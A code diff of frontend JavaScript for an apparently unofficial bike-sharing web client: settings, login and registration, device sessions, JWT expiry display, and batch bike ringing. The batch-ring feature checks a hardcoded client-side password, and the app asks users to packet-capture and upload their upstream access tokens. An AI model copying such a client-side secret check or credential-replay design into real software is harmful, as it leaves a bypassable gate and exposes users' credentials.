bikeClusteringEnabled; + document.getElementById("settings-save-status").textContent = "地图偏好自动保存在当前设备,即时生效。"; + SettingsPages.open("settings-modal"); + loadProfileData(); + } + + function closeSettingsPage() { SettingsPages.back(); } + + function saveMapClusteringSetting(enabled) { + if (typeof BikeClusters === "undefined") { + showToast("地图组件未加载,请刷新页面后重试"); + return; + } + bikeClusteringEnabled = !!enabled; + if (bikeBubbleLayer) bikeBubbleLayer.setClusteringEnabled(bikeClusteringEnabled); + const saved = BikeClusters.writeClusteringPreference(localStorage, bikeClusteringEnabled); + document.getElementById("settings-save-status").textContent = saved + ? (bikeClusteringEnabled ? "已开启车辆聚类,设置已保存。" : "已关闭聚类,所有车辆单独显示。设置已保存。") + : "设置已生效,当前浏览器无法保存,刷新后会恢复默认。"; + } + + window.addEventListener("storage", event => { + if (typeof BikeClusters === "undefined") return; + if (event.key !== BikeClusters.PREFERENCE_KEY && event.key !== null) return; + bikeClusteringEnabled = BikeClusters.readClusteringPreference(localStorage); + if (bikeBubbleLayer) bikeBubbleLayer.setClusteringEnabled(bikeClusteringEnabled); + document.getElementById("settings-clustering").checked = bikeClusteringEnabled; + }); + + function showProfileModal() { openSettingsPage(); } + + function closeProfileModal() { SettingsPages.close(); } + + function closeAllModals() { + if (typeof SettingsPages !== "undefined") SettingsPages.hide(); + document.getElementById("login-modal").classList.remove("show"); + document.getElementById("register-modal").classList.remove("show"); + document.getElementById("settings-modal").classList.remove("show"); + document.getElementById("rental-settings-modal").classList.remove("show"); + document.getElementById("devices-modal").classList.remove("show"); + document.getElementById("auth-modal").classList.remove("show"); + document.getElementById("packages-modal").classList.remove("show"); + const forgot = document.getElementById("forgot-modal"); + if (forgot) forgot.classList.remove("show"); + const orders = document.getElementById("orders-modal"); + if (orders) orders.classList.remove("show"); + const subscribe = document.getElementById("subscribe-modal"); + if (subscribe) subscribe.classList.remove("show"); + const traj = document.getElementById("order-traj-modal"); + if (traj) traj.classList.remove("show"); + const _armc = document.getElementById("add-round-modal"); + if (_armc) _armc.classList.remove("show"); + const _srm = document.getElementById("share-return-modal"); + if (_srm) _srm.classList.remove("show"); + appConfirmClose(); // 视为「取消」,避免 Promise 悬空 + } + + async function loadProfileData() { + if (!authToken) return; + + try { + const resp = await fetch("/api/auth/profile", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + + if (data.rtn_code === 0 && data.data) { + const email = data.data.email || ""; + document.getElementById("profile-email").textContent = email; + const firstChar = email.charAt(0).toUpperCase(); + document.getElementById("profile-avatar").textContent = firstChar; + + maybeStrictGuide(data.data); + + // 微信凭据(accessToken JWT)有效期,实时倒计时展示 + _savedTokenExpiry = data.data.access_token_expiry && data.data.access_token_expiry.parseable + ? { expireAt: data.data.access_token_expiry.expire_at, + source: data.data.access_token_expiry.source } : null; + updateTokenExpiryDisplays(); + + // 隐藏/显示消费统计和提示 + const hasAuth = data.data.has_auth; + document.getElementById("profile-stats").style.display = hasAuth ? "flex" : "none"; + document.getElementById("profile-auth-hint").style.display = hasAuth ? "none" : "flex"; + document.getElementById("profile-name").textContent = "--"; + document.getElementById("profile-out-money").textContent = "--"; + document.getElementById("profile-save-money").textContent = "--"; + } + } catch (err) { + console.error("加载用户信息失败:", err); + } + + // 加载姓名和消费信息 + loadUserInfo(); + } + + async function loadUserInfo() { + if (!authToken) return; + + try { + const resp = await fetch("/api/auth/user_info", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + + if (data.rtn_code === 0 && data.data) { + const info = data.data; + + // 显示姓名 + if (info.true_name) { + document.getElementById("profile-name").textContent = info.true_name; + document.getElementById("profile-avatar").textContent = info.true_name.charAt(0); + } + + // 显示消费统计 + if (info.out_money !== null) { + document.getElementById("profile-out-money").textContent = (info.out_money || 0).toFixed(1); + } + if (info.save_money !== null) { + document.getElementById("profile-save-money").textContent = (info.save_money || 0).toFixed(1); + } + } + } catch (err) { + console.error("加载用户详情失败:", err); + } + } + + // ========== AccessToken 有效期解析 ========== + // accessToken 是上游登录响应中的 JWT(RS256),payload 带 iat/nbf/exp, + // 实测有效期 30 天。此处只解码展示,不做签名校验。 + function parseJwtExpiry(token) { + token = (token || "").trim(); + if (!token || token.indexOf(".") < 0) return null; + const parts = token.split("."); + if (parts.length !== 3 || parts[1].length < 8) return null; + try { + let b64 = parts[1].replace(/-/g, "+").replace(/_/g, "/"); + while (b64.length % 4) b64 += "="; + const payload = JSON.parse(decodeURIComponent(escape(atob(b64)))); + let exp = payload.exp ? parseInt(payload.exp) : null; + let iat = payload.iat ? parseInt(payload.iat) : null; + if (!exp && iat) exp = iat + 30 * 86400; // 与上游实测一致:30 天有效期 + if (!exp) return null; + return { expireAt: exp, source: payload.exp ? "exp" : "iat+30d" }; + } catch (e) { return null; } + } + function fmtLocalTime(ts) { + const d = new Date(ts * 1000); + const p = n => String(n).padStart(2, "0"); + return `${d.getFullYear()}-${p(d.getMonth() + 1)}-${p(d.getDate())} ${p(d.getHours())}:${p(d.getMinutes())}`; + } + function describeTokenExpiry(expiry) { + const remain = expiry.expireAt - Math.floor(Date.now() / 1000); + const when = fmtLocalTime(expiry.expireAt); + const left = remain <= 0 ? "已过期" : `约剩 ${fmtRemainShort(remain)}`; + const note = expiry.source === "iat+30d" ? "(按签发时间 +30 天推算)" : ""; + return { text: `该凭据(登录态)有效期至 ${when}${note},${left}`, remain }; + } + function fmtRemainShort(remain) { + const dd = Math.floor(remain / 86400), hh = Math.floor((remain % 86400) / 3600), + mm = Math.floor((remain % 3600) / 60); + if (dd >= 1) return `${dd} 天${hh ? " " + hh + " 小时" : ""}`; + if (hh >= 1) return `${hh} 小时${mm ? " " + mm + " 分" : ""}`; + return `${Math.max(1, mm)} 分钟`; + } + function renderTokenExpiry(el, expiry) { + if (!el) return; + if (!expiry) { el.style.display = "none"; el.innerHTML = ""; return; } + const { text, remain } = describeTokenExpiry(expiry); + let color = "#34c759", bg = "#eafaf0"; + if (remain <= 0) { color = "#e02020"; bg = "#fdecec"; } + else if (remain <= 259200) { color = "#e02020"; bg = "#fdecec"; } // ≤3 天 + else if (remain <= 604800) { color = "#e67e22"; bg = "#fdf3e7"; } // ≤7 天 + el.style.display = "block"; + el.style.color = color; + el.style.background = bg; + el.textContent = text; + } + function updateTokenExpiryDisplays() { + // “填写凭证”弹窗:粘贴中的新 token 优先实时预览,否则显示已保存凭据 + const authEl = document.getElementById("auth-token-expiry"); + if (authEl) { + const pasted = document.getElementById("profile-token").value.trim(); + if (pasted) { + const expiry = parseJwtExpiry(pasted); + if (expiry) { + renderTokenExpiry(authEl, expiry); + } else { + authEl.style.display = "block"; + authEl.style.color = "#e67e22"; + authEl.style.background = "#fdf3e7"; + authEl.textContent = "无法解析该 AccessToken 的有效期(不是标准 JWT,仍可保存使用)"; + } + } else { + renderTokenExpiry(authEl, _savedTokenExpiry); + } + } + // 个人中心:始终实时显示 + const pEl = document.getElementById("profile-token-expiry"); + if (pEl) renderTokenExpiry(pEl, _savedTokenExpiry); + renderAuthExpiryBanner(); + } + let _savedTokenExpiry = null; + + // ========== 登录态到期横幅 ========== + // 有效期不足 2 天时在主页面顶部常驻提醒,避免用户毫无预警地遇到上游凭据失效。 + const AUTH_EXPIRY_BANNER_THRESHOLD = 2 * 86400; // 2 天 + const AUTH_EXPIRY_BANNER_URGENT = 86400; // 不足 1 天转红 + function renderAuthExpiryBanner() { + const banner = document.getElementById("auth-expiry-banner"); + if (!banner) return; + const text = document.getElementById("auth-expiry-banner-text"); + if (!authToken || !_savedTokenExpiry) { + banner.classList.remove("show", "urgent"); + return; + } + const { remain } = describeTokenExpiry(_savedTokenExpiry); + if (remain > AUTH_EXPIRY_BANNER_THRESHOLD) { + banner.classList.remove("show", "urgent"); + return; + } + const when = fmtLocalTime(_savedTokenExpiry.expireAt); + text.textContent = remain <= 0 + ? "登录态已过期,为不影响使用请尽快抓包" + : `登录态剩 ${fmtRemainShort(remain)},为不影响使用请尽快抓包`; + banner.title = `有效期至 ${when}`; + banner.classList.toggle("urgent", remain <= AUTH_EXPIRY_BANNER_URGENT); + banner.classList.add("show"); + } + // 拉取服务端解析出的有效期(profile 接口),成功后刷新横幅 + async function refreshAuthExpiry() { + if (!authToken) { _savedTokenExpiry = null; renderAuthExpiryBanner(); return; } + try { + const resp = await fetch("/api/auth/profile", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code === 0 && data.data) { + const e = data.data.access_token_expiry; + _savedTokenExpiry = e && e.parseable + ? { expireAt: e.expire_at, source: e.source } : null; + } else { + _savedTokenExpiry = null; + } + } catch (err) { + console.error("获取登录态有效期失败:", err); + } + updateTokenExpiryDisplays(); + } + setInterval(updateTokenExpiryDisplays, 30000); // 实时倒计时:每 30 秒刷新 + + // 打开凭证填写弹窗 + function openAuthModal() { + closeAllModals(); + SettingsPages.open("auth-modal"); + // 填充现有值 + fetch("/api/auth/profile", { + headers: { "Authorization": `Bearer ${authToken}` } + }).then(r => r.json()).then(data => { + if (data.rtn_code === 0 && data.data) { + document.getElementById("profile-token").value = data.data.token || ""; + document.getElementById("profile-token-id").value = data.data.token_id || ""; + const alertEl = document.getElementById("profile-alert-email"); + if (alertEl) { + // 未自定义时显示账号邮箱占位(提交空串即回退账号邮箱) + alertEl.value = data.data.alert_email || ""; + alertEl.placeholder = data.data.email || "留空则使用账号邮箱"; + } + _savedTokenExpiry = data.data.access_token_expiry && data.data.access_token_expiry.parseable + ? { expireAt: data.data.access_token_expiry.expire_at, + source: data.data.access_token_expiry.source } : null; + updateTokenExpiryDisplays(); + } + }); + } + + function closeAuthModal() { + SettingsPages.back(); + } + + // ========== 强签名验证引导 ========== + let _strictGuideShown = false; + function maybeStrictGuide(info) { + if (info && info.strict_mode && info.has_access_token === false && !_strictGuideShown) { + _strictGuideShown = true; + showTokenExpiredModal( + "需要补充 AccessToken", + "管理员已开启强签名验证,您的账号尚未填写 AccessToken,填写前无法调用用车功能。请按教程抓包获取 accessToken(登录响应中的 JWT)并保存。" + ); + } + } + async function checkStrictGuide() { + if (!authToken) return; + try { + const resp = await fetch("/api/auth/profile", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code === 0 && data.data) maybeStrictGuide(data.data); + } catch (err) { console.error("强验证检测失败:", err); } + } + + // ========== 登录设备管理(多设备) ========== + // 生成本设备持久标识:同一浏览器/设备保持不变,用于区分不同登录设备 + function getDeviceId() { + let id = localStorage.getItem("xbniu_device_id"); + if (!id) { + id = Date.now().toString(36) + Math.random().toString(36).slice(2, 8); + try { localStorage.setItem("xbniu_device_id", id); } catch (e) {} + } + return id; + } + function getDeviceName() { + const ua = navigator.userAgent || ""; + // 与服务端 routes/auth.py _ua_label 保持同一套识别规则 + if (/xbniu-native/i.test(ua)) return "Native App"; + let os; + if (/Windows NT/.test(ua)) os = "Windows"; + else if (/iPhone|iPad|iPod/.test(ua)) os = "iOS"; + else if (/OpenHarmony|HarmonyOS|ArkWeb/.test(ua)) os = "鸿蒙"; + else if (/Android/.test(ua)) os = "Android"; + else if (/Mac OS X/.test(ua)) os = "macOS"; + else if (/Linux/.test(ua)) os = "Linux"; + else os = /Mobile/.test(ua) ? "移动设备" : "电脑"; + let browser = "浏览器"; + if (/MicroMessenger/i.test(ua)) browser = "微信"; + else if (/HuaweiBrowser/.test(ua)) browser = "华为浏览器"; + else if (/Edg\//.test(ua)) browser = "Edge"; + else if (/QQBrowser/.test(ua)) browser = "QQ浏览器"; + else if (/MiuiBrowser/.test(ua)) browser = "小米浏览器"; + else if (/Chrome\//.test(ua)) browser = "Chrome"; + else if (/Firefox\//.test(ua)) browser = "Firefox"; + else if (/Safari\//.test(ua)) browser = "Safari"; + let label = os + " · " + browser; + if (window.screen && screen.width) label += " · " + screen.width + "x" + screen.height; + return label; + } + function escHtml(s) { + return String(s == null ? "" : s).replace(/[&<>"']/g, + c => ({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" }[c])); + } + function fmtTime(t) { + if (!t) return ""; + return escHtml(String(t).replace("T", " ").slice(0, 16)); + } + function openDevicesModal() { + closeAllModals(); + SettingsPages.open("devices-modal"); + loadDevicesList(); + } + function closeDevicesModal() { + SettingsPages.back(); + } + async function loadDevicesList() { + const box = document.getElementById("devices-list"); + if (!authToken) { box.innerHTML = '
请先登录
'; return; } + box.innerHTML = '
加载中...
'; + try { + const resp = await fetch("/api/auth/sessions", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code !== 0) { + box.innerHTML = '
' + escHtml(data.message || "加载失败") + '
'; + return; + } + const list = data.data.sessions || []; + if (!list.length) { + box.innerHTML = '
暂无其他登录设备
'; + return; + } + box.innerHTML = list.map(s => { + const isCur = !!s.is_current; + const meta = "登录 " + fmtTime(s.created_at) + + (s.last_active ? " · 活跃 " + fmtTime(s.last_active) : ""); + return `
+
+
${escHtml(s.device_name || "未知设备")}${isCur ? ' 当前' : ""}
+
${meta}
+
+ ${isCur ? "" : ``} +
`; + }).join(""); + } catch (err) { + box.innerHTML = '
加载失败
'; + } + } + async function kickDevice(id) { + if (!(await appConfirm("确认将该设备下线?该设备需要重新登录。", { title: "下线设备", okText: "下线" }))) return; + try { + const resp = await fetch("/api/auth/sessions/kick", { + method: "POST", + headers: { "Authorization": `Bearer ${authToken}`, "Content-Type": "application/json" }, + body: JSON.stringify({ session_id: id }) + }); + const data = await resp.json(); + if (data.rtn_code === 0) { showToast("已下线该设备"); loadDevicesList(); } + else showToast(data.message || "下线失败"); + } catch (e) { showToast("网络错误"); } + } + async function logoutAllOtherDevices() { + if (!(await appConfirm("确认下线当前账号其他所有设备?\n本设备会保留登录。", { title: "下线其他设备", okText: "全部下线" }))) return; + try { + const resp = await fetch("/api/auth/sessions/logout_all", { + method: "POST", + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code === 0) { showToast("已下线其他所有设备"); loadDevicesList(); } + else showToast(data.message || "操作失败"); + } catch (e) { showToast("网络错误"); } + } + + // 打开卡包弹窗 + function openPackagesModal() { + closeAllModals(); + SettingsPages.open("packages-modal"); + loadPackagesList(); + } + + function closePackagesModal() { + SettingsPages.back(); + } + + // 加载卡包列表(用于卡包弹窗) + async function loadPackagesList() { + if (!authToken) { + document.getElementById("packages-list-2").innerHTML = '
请先登录
'; + return; + } + + try { + const resp = await fetch("/api/auth/packages", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + const container = document.getElementById("packages-list-2"); + + if (!data.data || !data.data.has_auth) { + container.innerHTML = '
请先填写 Token ID(AccessToken 选填)
'; + return; + } + + const packages = data.data.packages || []; + if (packages.length === 0) { + container.innerHTML = '
暂无优惠卡
'; + return; + } + + container.innerHTML = packages.map(pkg => ` +
+
${pkg.name}
+
${pkg.bikeTypeName || ''} · ${pkg.useTypeName || ''}
+
有效期至 ${pkg.endTime || '无限'}
+
剩余 ${pkg.remainTimes ?? '∞'} 次
+
+ `).join(''); + } catch (err) { + console.error("加载卡包失败:", err); + document.getElementById("packages-list-2").innerHTML = '
加载失败
'; + } + } + + async function saveProfileToken() { + if (!authToken) { + showToast("请先登录"); + return; + } + + const access_token = document.getElementById("profile-token").value.trim(); + const token_id = document.getElementById("profile-token-id").value.trim(); + const alertEmailEl = document.getElementById("profile-alert-email"); + const alert_email = alertEmailEl ? alertEmailEl.value.trim().toLowerCase() : null; + + // 如果填了任意一个字段,需要先验证 + if (access_token || token_id) { + if (!token_id) { + showToast("Token ID 必填;AccessToken 选填"); + return; + } + + // 先验证(必须带登录态,否则 verify_token 返回 401) + try { + const verifyResp = await fetch("/api/auth/verify_token", { + method: "POST", + headers: { "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` }, + body: JSON.stringify({ access_token, token_id }) + }); + const verifyData = await verifyResp.json(); + + if (!verifyData.valid) { + showToast(verifyData.message || "凭据验证失败,请检查 Token ID 是否正确"); + return; + } + } catch (err) { + showToast("验证失败"); + return; + } + } + + // 验证通过或没填字段,直接保存 + try { + const resp = await fetch("/api/auth/save_token", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + }, + body: JSON.stringify({ access_token, token_id }) + }); + const data = await resp.json(); + + if (data.rtn_code === 0) { + // 告警邮箱单独保存(可与凭据一起提交,失败不阻断) + if (alert_email !== null) { + fetch("/api/auth/alert_email", { + method: "POST", + headers: { "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` }, + body: JSON.stringify({ email: alert_email }) + }).catch(() => {}); + } + showToast("保存成功"); + closeAuthModal(); // 关闭凭证弹窗 + loadProfileData(); // 刷新个人中心数据 + refreshAuthExpiry(); // 新凭据可能已换有效期,重算顶部提醒 + } else { + showToast(data.message || "保存失败"); + } + } catch (err) { + showToast("保存失败"); + } + } + + // ========== 批量响铃相关状态 ========== + let currentBellTab = 'all'; // 当前选项卡 + let selectedRadius = 200; // 选中的半径(米) + let selectedLocation = null; // 选中的地点 {lat, lng} + let selectedStatuses = {available: true, used: true, locked: true, low: true, reserved: true}; // 选中的状态 + let rangeCircleOverlay = null; // 范围圆覆盖物 + + function showBellPasswordModal() { + if (!canUseBatchRing()) { + showToast("批量寻铃仅对指定用户开放"); + return; + } + document.getElementById("bell-modal").classList.add("show"); + // 重置所有输入 + document.getElementById("bell-password").value = ""; + document.getElementById("bell-password-range").value = ""; + document.getElementById("bell-password-status").value = ""; + document.getElementById("bell-error").textContent = ""; + document.getElementById("bell-error-range").textContent = ""; + document.getElementById("bell-error-status").textContent = ""; + document.getElementById("bell-progress").textContent = ""; + + // 更新状态计数 + updateStatusCounts(); + + // 重置范围相关 + selectedLocation = null; + document.getElementById("range-point-text").textContent = "--"; + document.getElementById("range-hint").classList.remove("active"); + document.getElementById("range-hint").innerHTML = ` + + + + + 点击地图选择地点,或使用当前位置 + `; + + // 更新筛选信息 + updateFilterInfo(); + + document.getElementById("bell-password").focus(); + } + + // 切换选项卡 + function switchBellTab(tab) { + currentBellTab = tab; + + // 更新选项卡样式 + document.querySelectorAll('.bell-tab').forEach(t => { + t.classList.toggle('active', t.dataset.tab === tab); + }); + + // 更新内容区 + document.querySelectorAll('.bell-section').forEach(s => { + s.classList.toggle('active', s.id === `bell-section-${tab}`); + }); + + // 切换到范围模式时清除之前的选择 + if (tab !== 'range') { + if (rangeCircleOverlay) { + map.removeOverlay(rangeCircleOverlay); + rangeCircleOverlay = null; + } + } + } + + // 选择半径 + function selectRadius(radius) { + selectedRadius = radius; + document.querySelectorAll('.radius-btn').forEach(btn => { + btn.classList.toggle('active', parseInt(btn.dataset.radius) === radius); + }); + // 更新范围圆 + updateRangeCircle(); + updateFilterInfo(); + } + + // 使用当前位置 + function useCurrentLocation() { + if (!autoLocationMarker) { + showToast("请先开启定位(点击底部定位按钮)"); + return; + } + + const point = autoLocationMarker.getPosition(); + const lat = point.lat; + const lng = point.lng; + + selectedLocation = { lat, lng }; + + document.getElementById("range-point-text").textContent = `${lat.toFixed(5)}, ${lng.toFixed(5)}`; + document.getElementById("range-hint").classList.add("active"); + document.getElementById("range-hint").innerHTML = ` + + + + 已选择:${lat.toFixed(5)}, ${lng.toFixed(5)} + `; + + updateRangeCircle(); + updateFilterInfo(); + + showToast(`已选择地点,范围内 ${getFilteredBikes().length} 辆车`); + } + + // 使用地图中心 + function useCenterLocation() { + const center = map.getCenter(); + const lat = center.lat; + const lng = center.lng; + + selectedLocation = { lat, lng }; + + document.getElementById("range-point-text").textContent = `${lat.toFixed(5)}, ${lng.toFixed(5)}`; + document.getElementById("range-hint").classList.add("active"); + document.getElementById("range-hint").innerHTML = ` + + + + 已选择:${lat.toFixed(5)}, ${lng.toFixed(5)} + `; + + updateRangeCircle(); + updateFilterInfo(); + + showToast(`已选择地点,范围内 ${getFilteredBikes().length} 辆车`); + } + + // 更新范围圆覆盖物 + function updateRangeCircle() { + if (!selectedLocation) return; + + // 清除旧的 + if (rangeCircleOverlay) { + map.removeOverlay(rangeCircleOverlay); + } + + const point = new BMapGL.Point(selectedLocation.lng, selectedLocation.lat); + rangeCircleOverlay = new BMapGL.Circle(point, selectedRadius, { + strokeColor: "#007AFF", + strokeWeight: 2, + strokeOpacity: 0.6, + fillColor: "#007AFF", + fillOpacity: 0.1 + }); + map.addOverlay(rangeCircleOverlay); + } + + // 切换状态筛选 + function toggleStatusFilter(state) { + selectedStatuses[state] = !selectedStatuses[state]; + + const item = document.querySelector(`.bell-status-item[data-state="${state}"]`); + if (item) { + item.classList.toggle('selected', selectedStatuses[state]); + item.querySelector('.bell-status-check').textContent = selectedStatuses[state] ? '✓' : ''; + } + + updateFilterInfo(); + } + + // 更新状态计数 + function updateStatusCounts() { + const bikes = Object.values(markersData); + const counts = {available: 0, used: 0, locked: 0, low: 0, reserved: 0}; + + bikes.forEach(bike => { + const state = getBikeState(bike); + if (state === 'available') counts.available++; + else if (state === 'inuse') counts.used++; + else if (state === 'locked') counts.locked++; + else if (state === 'lowbattery') counts.low++; + else if (state === 'reserved') counts.reserved++; + }); + + document.getElementById('count-available-filter').textContent = counts.available; + document.getElementById('count-used-filter').textContent = counts.used; + document.getElementById('count-locked-filter').textContent = counts.locked; + document.getElementById('count-low-filter').textContent = counts.low; + document.getElementById('count-reserved-filter').textContent = counts.reserved; + } + + // 计算两点之间的距离(米) + function calcDistance(lat1, lng1, lat2, lng2) { + const R = 6371000; // 地球半径(米) + const dLat = (lat2 - lat1) * Math.PI / 180; + const dLng = (lng2 - lng1) * Math.PI / 180; + const a = Math.sin(dLat/2) * Math.sin(dLat/2) + + Math.cos(lat1 * Math.PI / 180) * Math.cos(lat2 * Math.PI / 180) * + Math.sin(dLng/2) * Math.sin(dLng/2); + const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)); + return R * c; + } + + // 根据当前模式筛选车辆 + function getFilteredBikes() { + const allBikes = Object.values(markersData); + + if (currentBellTab === 'all') { + return allBikes; + } + + if (currentBellTab === 'range') { + if (!selectedLocation) { + return []; // 没有选择地点 + } + return allBikes.filter(bike => { + if (!bike.latitude || !bike.longitude) return false; + // 车辆在地图上显示的位置(偏移后) + const c = offsetCoord(bike.latitude, bike.longitude); + const dist = calcDistance( + selectedLocation.lat, selectedLocation.lng, + c.lat, c.lng + ); + return dist <= selectedRadius; + }); + } + + if (currentBellTab === 'status') { + return allBikes.filter(bike => { + const state = getBikeState(bike); + if (state === 'available' && selectedStatuses.available) return true; + if (state === 'inuse' && selectedStatuses.used) return true; + if (state === 'locked' && selectedStatuses.locked) return true; + if (state === 'lowbattery' && selectedStatuses.low) return true; + if (state === 'reserved' && selectedStatuses.reserved) return true; + return false; + }); + } + + return allBikes; + } + + // 更新筛选信息显示 + function updateFilterInfo() { + const bikes = getFilteredBikes(); + + if (currentBellTab === 'range') { + const infoEl = document.getElementById('range-filter-info'); + if (selectedLocation) { + infoEl.textContent = `范围内车辆:${bikes.length} 辆`; + } else { + infoEl.textContent = ''; + } + } + + if (currentBellTab === 'status') { + const infoEl = document.getElementById('status-filter-info'); + const selectedCount = Object.values(selectedStatuses).filter(v => v).length; + infoEl.textContent = `已选 ${selectedCount} 种状态,共 ${bikes.length} 辆车`; + } + } + + function closeBellModal() { + document.getElementById("bell-modal").classList.remove("show"); + } + + async function submitBellPassword() { + // 根据当前选项卡获取密码和错误元素 + let pwd, errEl; + if (currentBellTab === 'all') { + pwd = document.getElementById("bell-password").value; + errEl = document.getElementById("bell-error"); + } else if (currentBellTab === 'range') { + pwd = document.getElementById("bell-password-range").value; + errEl = document.getElementById("bell-error-range"); + if (!selectedLocation) { + errEl.textContent = "请先选择地点(点击地图或使用当前位置/地图中心)"; + return; + } + } else { + pwd = document.getElementById("bell-password-status").value; + errEl = document.getElementById("bell-error-status"); + } + + if (pwd !== "070517") { + errEl.textContent = "密码错误"; + return; + } + + // 根据模式筛选车辆 + const bikes = getFilteredBikes(); + + if (bikes.length === 0) { + if (currentBellTab === 'range') { + errEl.textContent = "范围内没有车辆,请调整半径或选择其他地点"; + } else if (currentBellTab === 'status') { + errEl.textContent = "没有符合条件的车,请调整状态筛选"; + } else { + errEl.textContent = "暂无车辆数据,请先刷新地图"; + } + return; + } + + errEl.textContent = "启动中..."; + + try { + const res = await fetch("/api/ring_all", { + method: "POST", + headers: { + "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` + }, + body: JSON.stringify({ codes: bikes.map(b => b.code) }) + }); + const data = await res.json(); + if (data.rtn_code === 401) { + errEl.textContent = "登录已失效,请重新登录"; + showLoginGate(); + return; + } + if (data.rtn_code !== 0) { + errEl.textContent = data.message || "启动失败"; + return; + } + + closeBellModal(); + + // 清除范围圆 + if (rangeCircleOverlay) { + map.removeOverlay(rangeCircleOverlay); + rangeCircleOverlay = null; + } + + // 打开新窗口显示进度 + const progressWin = window.open( + `/ring_progress.html?task_id=${data.task_id}&total=${data.total}`, + "ring_progress", + "width=450,height=520,menubar=no,toolbar=no,location=no,status=no" + ); + if (!progressWin) { + showToast("请允许弹出窗口以查看进度"); + } + } catch (e) { + errEl.textContent = "请求失败: " + friendlyError(e); + } + } + + // ========== 全屏登录门 ========== + function showLoginGate() { + document.getElementById("login-gate").classList.add("show"); + } + function hideLoginGate() { + document.getElementById("login-gate").classList.remove("show"); + } + + async function doLogin(email, password, tip, submitBtn) { + const btnText = submitBtn.textContent; + tip.textContent = ""; + submitBtn.disabled = true; + submitBtn.textContent = "登录中..."; + try { + const resp = await fetch("/api/auth/login", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ email, password, device_id: getDeviceId(), device_name: getDeviceName() }) + }); + const data = await resp.json(); + + if (data.rtn_code === 0) { + authToken = data.data.token; + localStorage.setItem("auth_token", authToken); + currentUser = { email: data.data.email }; + authKickToastShown = false; + updateAuthButton(); + hideLoginGate(); + closeLoginModal(); + showToast("登录成功"); + shareAfterLogin(); + checkOrderStatus(); + checkRentalStatus(); + refreshAuthExpiry(); // 登录态有效期不足 2 天时挂顶部提醒 + if (map) loadMapData(currentType, false); + } else { + tip.textContent = data.message || "登录失败"; + } + } catch (err) { + tip.textContent = "网络错误,请重试"; + } finally { + submitBtn.disabled = false; + submitBtn.textContent = btnText; + } + } + + async function handleLoginSubmit(e) { + e.preventDefault(); + doLogin( + document.getElementById("login-email").value.trim().toLowerCase(), + document.getElementById("login-password").value, + document.getElementById("login-tip"), + e.target.querySelector("button[type='submit']") + ); + } + + document.getElementById("gate-login-form").addEventListener("submit", function (e) { + e.preventDefault(); + doLogin( + document.getElementById("gate-email").value.trim().toLowerCase(), + document.getElementById("gate-password").value, + document.getElementById("gate-tip"), + this.querySelector("button[type='submit']") + ); + }); + + let registerCodeCountdown = 0; + let registerCodeTimer = null; + function setRegisterCodeBtn(text, disabled) { + const btn = document.getElementById("register-code-btn"); + if (!btn) return; + btn.disabled = disabled; + btn.textContent = text; + } + async function sendRegisterCode() { + const email = document.getElementById("register-email").value.trim().toLowerCase(); + const tip = document.getElementById("register-tip"); + if (!email) { tip.textContent = "请先填写邮箱"; return; } + if (registerCodeCountdown > 0) return; + setRegisterCodeBtn("发送中...", true); + try { + const resp = await fetch("/api/auth/send_code", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ email }) + }); + const data = await resp.json(); + tip.textContent = data.message || ""; + if (data.rtn_code === 0) { + registerCodeCountdown = 60; + setRegisterCodeBtn(`${registerCodeCountdown}s`, true); + registerCodeTimer = setInterval(() => { + registerCodeCountdown--; + if (registerCodeCountdown <= 0) { + clearInterval(registerCodeTimer); + setRegisterCodeBtn("发送验证码", false); + } else { + setRegisterCodeBtn(`${registerCodeCountdown}s`, true); + } + }, 1000); + } else { + setRegisterCodeBtn("发送验证码", false); + } + } catch (err) { + tip.textContent = "网络错误,请重试"; + setRegisterCodeBtn("发送验证码", false); + } + } + + async function handleRegisterSubmit(e) { + e.preventDefault(); + const email = document.getElementById("register-email").value.trim().toLowerCase(); + const password = document.getElementById("register-password").value; + const code = document.getElementById("register-code").value.trim(); + const invite_code = document.getElementById("register-invite").value.trim(); + const token_id = document.getElementById("register-token-id").value.trim(); + const access_token = document.getElementById("register-token").value.trim(); + const tip = document.getElementById("register-tip"); + const submitBtn = e.target.querySelector("button[type='submit']"); + + tip.textContent = ""; + submitBtn.disabled = true; + submitBtn.textContent = "注册中..."; + + // 凭据字段的基础格式检查;上游有效性由 /api/auth/register 在服务端权威校验 + // (注册时还没有登录态,verify_token 接口需要 Authorization,前端预检必然 401) + if (access_token || token_id) { + if (!token_id) { + tip.textContent = "Token ID 必填;AccessToken 选填"; + submitBtn.disabled = false; + submitBtn.textContent = "注册"; + return; + } + } + + try { + const resp = await fetch("/api/auth/register", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + email, + password, + code, + invite_code, + token_id: token_id || "", + access_token, + device_id: getDeviceId(), + device_name: getDeviceName() + }) + }); + const data = await resp.json(); + + if (data.rtn_code === 0) { + authToken = data.data.token; + localStorage.setItem("auth_token", authToken); + currentUser = { email: data.data.email }; + authKickToastShown = false; + updateAuthButton(); + closeRegisterModal(); + hideLoginGate(); + showToast("注册成功"); + shareAfterLogin(); + refreshAuthExpiry(); // 注册时可能已填凭证,立即评估有效期 + if (map) loadMapData(currentType, false); + } else { + tip.textContent = data.message || "注册失败"; + } + } catch (err) { + tip.textContent = "网络错误,请重试"; + } finally { + submitBtn.disabled = false; + submitBtn.textContent = "注册"; + } + } + + async function handleLogout() { + clearTimeout(mapRefreshTimer); + if (authToken) { + try { + await fetch("/api/auth/logout", { + method: "POST", + headers: { "Authorization": `Bearer ${authToken}` } + }); + } catch (err) {} + } + 